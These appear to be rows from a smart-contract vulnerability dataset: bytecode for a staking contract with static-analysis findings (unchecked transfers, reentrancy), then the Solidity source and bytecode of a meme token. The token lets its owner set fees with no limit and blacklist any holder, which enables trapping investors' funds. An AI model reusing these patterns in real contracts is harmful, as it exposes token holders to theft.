b505af1158015610d51573d6000803e3d6000fd5b505050506040513d6020811015610d6757600080fd5b8101908080519060200190929190505050610dea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610e3c83600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5c90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e9333600a611f5f90919063ffffffff16565b8015610ede57506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610ef957610ef733600a611f8f90919063ffffffff16565b505b505050565b6000610f1482600a611f5f90919063ffffffff16565b610f215760009050611066565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610f725760009050611066565b6000610fc6600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611c5c90919063ffffffff16565b90506000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061105d61271061104f6003546110418761103360025489611f1790919063ffffffff16565b611f1790919063ffffffff16565b611f4690919063ffffffff16565b611f4690919063ffffffff16565b90508093505050505b919050565b6000611077600a611fbf565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110d757600080fd5b826004819055508160058190555092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461114657600080fd5b81600881905550919050565b600960009054906101000a900460ff1681565b61116e33611c73565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111cb57600080fd5b81600281905550919050565b60011515600960009054906101000a900460ff16151514611260576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5374616b696e67206973206e6f742079657420696e697469616c697a6564000081525060200191505060405180910390fd5b600081116112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b505050506040513d60208110156113b157600080fd5b8101908080519060200190929190505050611434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61143d33611c73565b600061146861271061145a60045485611f1790919063ffffffff16565b611f4690919063ffffffff16565b9050600061147f8284611c5c90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561153457600080fd5b505af1158015611548573d6000803e3d6000fd5b505050506040513d602081101561155e57600080fd5b81019080805190602001909291905050506115e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61163381600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd490919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061168a33600a611f5f90919063ffffffff16565b6116e8576116a233600a611ff090919063ffffffff16565b5042600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600d6020528060005260406000206000915090505481565b60045481565b600f6020528060005260406000206000915090505481565b60065481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611807576117df611976565b8111156117eb57600080fd5b61180081600754611fd490919063ffffffff16565b6007819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561187857600080fd5b505af115801561188c573d6000803e3d6000fd5b505050506040513d60208110156118a257600080fd5b810190808051906020019092919050505050505050565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461194657600080fd5b81600681905550919050565b600c6020528060005260406000206000915090505481565b60075481565b60055481565b60006008546007541061198c57600090506119ac565b60006119a5600754600854611c5c90919063ffffffff16565b9050809150505b90565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a0757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a4157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b5957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121d46030913960400191505060405180910390fd5b81600960006101000a81548160ff021916908315150217905550919050565b600e6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115611c6857fe5b818303905092915050565b6000611c7e82610efe565b90506000811115611ecf57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611d1c57600080fd5b505af1158015611d30573d6000803e3d6000fd5b505050506040513d6020811015611d4657600080fd5b8101908080519060200190929190505050611dc9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611e1b81600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd490919063ffffffff16565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e7381600754611fd490919063ffffffff16565b6007819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082840290506000841480611f36575082848281611f3357fe5b04145b611f3c57fe5b8091505092915050565b600080828481611f5257fe5b0490508091505092915050565b6000611f87836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612020565b905092915050565b6000611fb7836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612043565b905092915050565b6000611fcd8260000161212b565b9050919050565b600080828401905083811015611fe657fe5b8091505092915050565b6000612018836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61213c565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461211f576000600182039050600060018660000180549050039050600086600001828154811061208e57fe5b90600052602060002001549050808760000184815481106120ab57fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806120e357fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612125565b60009150505b92915050565b600081600001805490509050919050565b60006121488383612020565b6121a15782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506121a6565b600090505b9291505056fe496e76616c6964206164647265737320666f726d6174206973206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e2061646472657373206973206e6f742079657420636f6e66696775726564556e7374616b6520416674657220343820486f7572732046726f6d205374616b65a26469706673582212200fbfd5ac06eb0d26fcd5a307e3670b4458a47ad7df846cae9510e45d374bb4f764736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,430 |
0x8a594421361abd481ca4ab08bfeef8c68b9fa9fb | /**
*Submitted for verification at Etherscan.io on 2022-02-20
*/
/**
Fuck Master Dev
$FMDEV
Telegram: https://t.me/FuckMasterDev
OFFICIAL CA
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FuckMasterDev is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Fuck Master Dev";//
string private constant _symbol = "FMDEV";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 13;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 13;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x78c6a358463AF8B27c54bC641D0d9892f1a43723);//
address payable private _marketingAddress = payable(0xfbb1BFa7F3FE7f558270b8A16eFaaeD98f172868);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000 * 10**9; //
uint256 public _maxWalletSize = 300000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613044565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a1565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa4565b610869565b604051610264919061346b565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f9190613486565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613683565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f51565b6108bd565b6040516102f7919061346b565b60405180910390f35b34801561030c57600080fd5b50610315610996565b6040516103229190613683565b60405180910390f35b34801561033757600080fd5b5061034061099c565b60405161034d91906136f8565b60405180910390f35b34801561036257600080fd5b5061036b6109a5565b6040516103789190613450565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612eb7565b6109cb565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061308d565b610abb565b005b3480156103df57600080fd5b506103e8610b6c565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612eb7565b610c3d565b60405161041e9190613683565b60405180910390f35b34801561043357600080fd5b5061043c610c8e565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ba565b610de1565b005b34801561047357600080fd5b5061047c610e80565b6040516104899190613683565b60405180910390f35b34801561049e57600080fd5b506104a7610e86565b6040516104b49190613450565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061308d565b610eaf565b005b3480156104f257600080fd5b506104fb610f68565b6040516105089190613683565b60405180910390f35b34801561051d57600080fd5b50610526610f6e565b60405161053391906134a1565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130ba565b610fab565b005b34801561057157600080fd5b5061058c600480360381019061058791906130e7565b61104a565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa4565b611101565b6040516105c2919061346b565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612eb7565b61111f565b6040516105ff919061346b565b60405180910390f35b34801561061457600080fd5b5061061d61113f565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe4565b611218565b005b34801561065457600080fd5b5061065d611352565b60405161066a9190613683565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f11565b611358565b6040516106a79190613683565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130ba565b6113df565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612eb7565b61147e565b005b61070a611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e3565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a76565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139cf565b91505061079a565b5050565b60606040518060400160405280600f81526020017f4675636b204d6173746572204465760000000000000000000000000000000000815250905090565b600061087d610876611640565b8484611648565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108ca848484611813565b61098b846108d6611640565b61098685604051806060016040528060288152602001613f2460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093c611640565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f39092919063ffffffff16565b611648565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a57906135e3565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b47906135e3565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bad611640565b73ffffffffffffffffffffffffffffffffffffffff161480610c235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0b611640565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2c57600080fd5b6000479050610c3a81612257565b50565b6000610c87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612352565b9050919050565b610c96611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de9611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d906135e3565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffff